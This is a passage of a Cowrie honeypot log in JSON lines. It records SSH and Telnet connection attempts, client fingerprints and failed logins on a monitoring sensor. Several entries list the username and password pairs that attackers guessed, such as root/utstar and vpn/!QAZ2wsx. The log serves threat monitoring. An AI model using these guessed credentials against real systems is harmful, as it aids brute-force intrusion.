0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:07.254394Z","src_ip":"213.209.159.158","session":"4752791936c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":41834,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbc4ecbfe92f","protocol":"telnet","message":"New connection: 62.210.97.77:41834 (10.17.0.5:23) [session: cbc4ecbfe92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:07.694339Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57810,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20083f311aa","protocol":"telnet","message":"New connection: 62.210.97.77:57810 (10.17.0.5:23) [session: c20083f311aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:10.936747Z"}
{"eventid":"cowrie.session.closed","duration":36.255841970443726,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:16.614510Z","src_ip":"62.210.97.77","session":"47d8b2d80785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57822,"dst_ip":"10.17.0.5","dst_port":23,"session":"c57e0eb5a2c9","protocol":"telnet","message":"New connection: 62.210.97.77:57822 (10.17.0.5:23) [session: c57e0eb5a2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:16.627604Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"user2023","message":"login attempt [root/user2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:16.979163Z","src_ip":"213.209.159.158","session":"4752791936c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":42146,"dst_ip":"10.17.0.5","dst_port":23,"session":"438f1f3d4482","protocol":"telnet","message":"New connection: 165.232.131.181:42146 (10.17.0.5:23) [session: 438f1f3d4482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:17.004213Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:20.303664Z","src_ip":"213.209.159.158","session":"4752791936c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56638,"dst_ip":"10.17.0.5","dst_port":22,"session":"59566a011d11","protocol":"ssh","message":"New connection: 213.209.159.158:56638 (10.17.0.5:22) [session: 59566a011d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:20.382390Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"f468ee4a94e2","protocol":"telnet","message":"New connection: 65.60.27.33:47514 (10.17.0.5:23) [session: f468ee4a94e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:21.156819Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40918,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e4983d9d791","protocol":"telnet","message":"New connection: 62.210.97.77:40918 (10.17.0.5:23) [session: 1e4983d9d791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:22.459042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:22.981138Z","src_ip":"213.209.159.158","session":"59566a011d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:22.985146Z","src_ip":"213.209.159.158","session":"59566a011d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.551841020584106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:24.059651Z","src_ip":"62.210.97.77","session":"0c65243d02b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":7445,"dst_ip":"159.203.135.109","dst_port":22,"session":"db2a3b726e39","protocol":"ssh","message":"New connection: 89.218.69.66:7445 (159.203.135.109:22) [session: db2a3b726e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:25.863190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:25.867849Z","src_ip":"89.218.69.66","session":"db2a3b726e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:26.039017Z","src_ip":"89.218.69.66","session":"db2a3b726e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"!QAZ2wsx","message":"login attempt [vpn/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:26.755532Z","src_ip":"89.218.69.66","session":"db2a3b726e39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:27.929068Z","src_ip":"89.218.69.66","session":"db2a3b726e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":56674,"dst_ip":"10.17.0.5","dst_port":23,"session":"161f0df4792b","protocol":"telnet","message":"New connection: 65.60.27.33:56674 (10.17.0.5:23) [session: 161f0df4792b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:29.386166Z"}
{"eventid":"cowrie.session.closed","duration":38.14666938781738,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:31.545469Z","src_ip":"62.210.97.77","session":"272180e0f153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43678,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdcce682e912","protocol":"telnet","message":"New connection: 165.232.131.181:43678 (10.17.0.5:23) [session: bdcce682e912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:31.811743Z"}
{"eventid":"cowrie.session.closed","duration":39.07815599441528,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:31.844442Z","src_ip":"165.232.131.181","session":"a465ff9af62b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"utstar","message":"login attempt [root/utstar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:32.453872Z","src_ip":"213.209.159.158","session":"59566a011d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.04345703125,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:33.775302Z","src_ip":"38.54.119.93","session":"b2e0e597525d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45294,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4707beac12e","protocol":"telnet","message":"New connection: 62.210.97.77:45294 (10.17.0.5:23) [session: f4707beac12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:35.860745Z"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:36.059174Z","src_ip":"213.209.159.158","session":"59566a011d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45310,"dst_ip":"10.17.0.5","dst_port":23,"session":"874411b64257","protocol":"telnet","message":"New connection: 62.210.97.77:45310 (10.17.0.5:23) [session: 874411b64257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:36.163984Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":64208,"dst_ip":"10.17.0.5","dst_port":22,"session":"f533564bceaf","protocol":"ssh","message":"New connection: 213.209.159.158:64208 (10.17.0.5:22) [session: f533564bceaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:36.171606Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45314,"dst_ip":"10.17.0.5","dst_port":23,"session":"fffce70eda5c","protocol":"telnet","message":"New connection: 62.210.97.77:45314 (10.17.0.5:23) [session: fffce70eda5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:36.340137Z"}
{"eventid":"cowrie.session.closed","duration":38.46758151054382,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:37.658742Z","src_ip":"62.210.97.77","session":"9c743f888160","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45316,"dst_ip":"10.17.0.5","dst_port":23,"session":"e10de92f8fcf","protocol":"telnet","message":"New connection: 62.210.97.77:45316 (10.17.0.5:23) [session: e10de92f8fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:38.160846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:38.369263Z","src_ip":"213.209.159.158","session":"f533564bceaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:38.372675Z","src_ip":"213.209.159.158","session":"f533564bceaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36552,"dst_ip":"10.17.0.5","dst_port":23,"session":"2066865e8f13","protocol":"telnet","message":"New connection: 62.210.97.77:36552 (10.17.0.5:23) [session: 2066865e8f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:38.958612Z"}
{"eventid":"cowrie.session.closed","duration":44.31262755393982,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:40.067088Z","src_ip":"165.232.131.181","session":"94cf0b84a8fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.860535621643066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:40.990147Z","src_ip":"62.210.97.77","session":"5d8413cc2b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.07673501968384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:42.770943Z","src_ip":"62.210.97.77","session":"cbc4ecbfe92f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":52352,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a54969ca80","protocol":"telnet","message":"New connection: 165.232.131.181:52352 (10.17.0.5:23) [session: 76a54969ca80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:43.090074Z"}
{"eventid":"cowrie.session.closed","duration":34.9919695854187,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:45.928581Z","src_ip":"62.210.97.77","session":"c20083f311aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36566,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce93fa5452d0","protocol":"telnet","message":"New connection: 62.210.97.77:36566 (10.17.0.5:23) [session: ce93fa5452d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:46.647779Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"utilisateur","message":"login attempt [root/utilisateur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:47.979711Z","src_ip":"213.209.159.158","session":"f533564bceaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52556,"dst_ip":"10.17.0.5","dst_port":23,"session":"59191a90f846","protocol":"telnet","message":"New connection: 65.60.27.33:52556 (10.17.0.5:23) [session: 59191a90f846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:50.298684Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37440,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa8168a9cac","protocol":"telnet","message":"New connection: 62.210.97.77:37440 (10.17.0.5:23) [session: 3fa8168a9cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:51.193855Z"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:51.521519Z","src_ip":"213.209.159.158","session":"f533564bceaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35940,"dst_ip":"10.17.0.5","dst_port":22,"session":"caae0bf5df1a","protocol":"ssh","message":"New connection: 213.209.159.158:35940 (10.17.0.5:22) [session: caae0bf5df1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:51.633662Z"}
{"eventid":"cowrie.session.closed","duration":35.27337312698364,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:51.900853Z","src_ip":"62.210.97.77","session":"c57e0eb5a2c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54888,"dst_ip":"10.17.0.5","dst_port":23,"session":"287b82e46668","protocol":"telnet","message":"New connection: 65.60.27.33:54888 (10.17.0.5:23) [session: 287b82e46668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:52.279616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:53.842528Z","src_ip":"213.209.159.158","session":"caae0bf5df1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:53.846446Z","src_ip":"213.209.159.158","session":"caae0bf5df1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"2badffa77fa2","protocol":"telnet","message":"New connection: 62.210.97.77:37442 (10.17.0.5:23) [session: 2badffa77fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:54.012691Z"}
{"eventid":"cowrie.session.closed","duration":2.057311534881592,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:54.336792Z","src_ip":"65.60.27.33","session":"287b82e46668","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":17380,"dst_ip":"10.17.0.5","dst_port":22,"session":"cffe6518de47","protocol":"ssh","message":"New connection: 94.156.152.18:17380 (10.17.0.5:22) [session: cffe6518de47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:55.420048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:55.425333Z","src_ip":"94.156.152.18","session":"cffe6518de47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:55.560216Z","src_ip":"94.156.152.18","session":"cffe6518de47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS8VCPU16GBAMD","message":"login attempt [root/QUEENVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:55.963216Z","src_ip":"94.156.152.18","session":"cffe6518de47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.77820920944214,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:56.237138Z","src_ip":"62.210.97.77","session":"1e4983d9d791","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37450,"dst_ip":"10.17.0.5","dst_port":23,"session":"796dd7d40efb","protocol":"telnet","message":"New connection: 62.210.97.77:37450 (10.17.0.5:23) [session: 796dd7d40efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:42:56.435233Z"}
